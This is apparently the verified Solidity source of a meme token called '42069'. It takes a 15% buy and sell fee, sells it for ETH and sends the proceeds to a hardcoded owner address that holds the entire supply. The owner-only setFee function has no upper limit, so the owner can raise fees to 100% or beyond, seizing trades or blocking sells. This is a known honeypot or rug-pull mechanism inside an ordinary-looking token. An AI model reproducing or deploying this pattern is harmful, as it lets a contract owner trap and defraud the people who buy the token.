Contract Source Code:
File 1 of 1 : Token
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
function decimals() external view returns (uint256);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address _spender, uint _value) external;
function transferFrom(address _from, address _to, uint _value) external ;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ISwapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface ISwapFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "!owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "new is 0");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface ISwapPair {
function getReserves()
external
view
returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
}
contract Token is IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
address public fundAddress;
string private _name;
string private _symbol;
uint256 private _decimals;
mapping(address => bool) public _feeWhiteList;
uint256 private _tTotal;
ISwapRouter public _swapRouter;
address public currency;
mapping(address => bool) public _swapPairList;
bool private inSwap;
uint256 private constant MAX = ~uint256(0);
uint256 public _buyFundFee;
uint256 public _sellFundFee;
address public _mainPair;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
address[] public rewardPath;
constructor(
) {
_name = "42069";
_symbol = "42069";
_decimals = 18;
_tTotal = 1006000 * 10**_decimals;
fundAddress = address(0x151404EaD02a20F51E9f4EcE45C2cE5FEbEac40C);
_swapRouter = ISwapRouter(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
currency = _swapRouter.WETH();
_owner = fundAddress;
rewardPath = [address(this), currency];
IERC20(currency).approve(address(_swapRouter), MAX);
_allowances[address(this)][address(_swapRouter)] = MAX;
ISwapFactory swapFactory = ISwapFactory(_swapRouter.factory());
_mainPair = swapFactory.createPair(address(this), currency);
_swapPairList[_mainPair] = true;
_buyFundFee = 1500;
_sellFundFee = 1500;
_balances[fundAddress] = _tTotal;
emit Transfer(address(0), fundAddress, _tTotal);
_feeWhiteList[fundAddress] = true;
_feeWhiteList[address(this)] = true;
_feeWhiteList[address(_swapRouter)] = true;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function decimals() external view override returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override {
_approve(msg.sender, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] =
_allowances[sender][msg.sender] -
amount;
}
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _isAddLiquidity() internal view returns (bool isAdd) {
ISwapPair mainPair = ISwapPair(_mainPair);
(uint r0, uint256 r1, ) = mainPair.getReserves();
address tokenOther = currency;
uint256 r;
if (tokenOther < address(this)) {
r = r0;
} else {
r = r1;
}
uint bal = IERC20(tokenOther).balanceOf(address(mainPair));
isAdd = bal > r;
}
function _isRemoveLiquidity() internal view returns (bool isRemove) {
ISwapPair mainPair = ISwapPair(_mainPair);
(uint r0, uint256 r1, ) = mainPair.getReserves();
address tokenOther = currency;
uint256 r;
if (tokenOther < address(this)) {
r = r0;
} else {
r = r1;
}
uint bal = IERC20(tokenOther).balanceOf(address(mainPair));
isRemove = r >= bal;
}
function _transfer(address from, address to, uint256 amount) private {
require(balanceOf(from) >= amount, "NotEnough");
bool takeFee;
bool isSell;
bool isRemove;
bool isAdd;
if (_swapPairList[to]) {
isAdd = _isAddLiquidity();
} else if (_swapPairList[from]) {
isRemove = _isRemoveLiquidity();
}
if (_swapPairList[from] || _swapPairList[to]) {
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
if (_swapPairList[to]) {
if (!inSwap && !isAdd) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > 0) {
uint256 swapFee = _buyFundFee + _sellFundFee;
uint256 numTokensSellToFund = (amount * swapFee) /
5000;
if (numTokensSellToFund > contractTokenBalance) {
numTokensSellToFund = contractTokenBalance;
}
swapTokenForFund(numTokensSellToFund);
}
}
}
if (!isAdd && !isRemove) takeFee = true; // just swap fee
}
if (_swapPairList[to]) {
isSell = true;
}
}
_tokenTransfer(
from,
to,
amount,
takeFee,
isSell
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee,
bool isSell
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount;
if (takeFee) {
uint256 swapFee;
if (isSell) {
swapFee = _sellFundFee;
} else {
swapFee = _buyFundFee;
}
uint256 swapAmount = (tAmount * swapFee) / 10000;
if (swapAmount > 0) {
feeAmount += swapAmount;
_takeTransfer(sender, address(this), swapAmount);
}
}
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
if (tokenAmount == 0) {
return;
}
_swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
rewardPath,
fundAddress,
block.timestamp
);
}
function _takeTransfer(
address sender,
address to,
uint256 tAmount
) private {
_balances[to] = _balances[to] + tAmount;
emit Transfer(sender, to, tAmount);
}
receive() external payable {}
function setFee(uint256 buyfee,uint256 sellfee) external onlyOwner {
_buyFundFee = buyfee;
_sellFundFee = sellfee;
}
}